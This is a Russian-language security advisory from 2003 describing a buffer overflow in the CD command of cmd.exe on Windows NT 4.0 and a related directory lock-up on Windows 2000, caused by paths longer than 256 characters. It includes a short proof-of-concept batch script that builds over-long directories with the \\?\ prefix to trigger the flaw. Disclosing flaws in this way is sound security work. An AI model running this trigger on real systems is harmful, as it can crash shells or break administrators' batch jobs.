Security Lab

Переполнение буфера в cmd.exe

Дата публикации:12.02.2003
Всего просмотров:1640
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Microsoft Windows NT 4.0 Workstation
Microsoft Windows NT 4.0 Server
Microsoft Windows NT 4.0 Server, Terminal Server Edition
Описание: cmd.exe - командный процессор в Windows NT/2000/XP. Программа также обрабатывает .bat и .cmd пакетные файлы. Часто системные администраторы выполняют пакетные файлы с поднятыми привилегиями для обслуживания системы.

Файловая система NTFS позволяет создавать пути почти неограниченной длины. Но Windows API не позволяет создавать пути длинее 256 байтов. Чтобы обойти это ограничение, можно использовать в пути к файлу префикс ‘\\?\’ . Это документированная особенность Windows API.

В cmd.exe для Windows NT 4.0 обнаружено простейшее переполнение буфера в команде CD, если адресуемый путь длиннее 256 символов. Уязвимость может эксплуатироваться для выполнения произвольного кода.

В cmd.exe для Windows 2000 нет переполнения буфера. Но переход на каталог с путем немного больше, чем 256 символов (например, 260 символов) cmd.exe будет “заперт” в этом каталоге (это означает, что невозможно будет выполнить команду ‘CD ..’) . Уязвимость может использоваться, например, против выполнения пакетного файла.

Пример:

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
c:
cd \
cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
обратите внимание: SET A=A..A – одна строка!

Уязвимость обнаружена в Microsoft Windows NT 4.0/2000

Ссылки: SECURITY.NNOV: Windows NT 4.0/2000 cmd.exe long path buffer overflow/DoS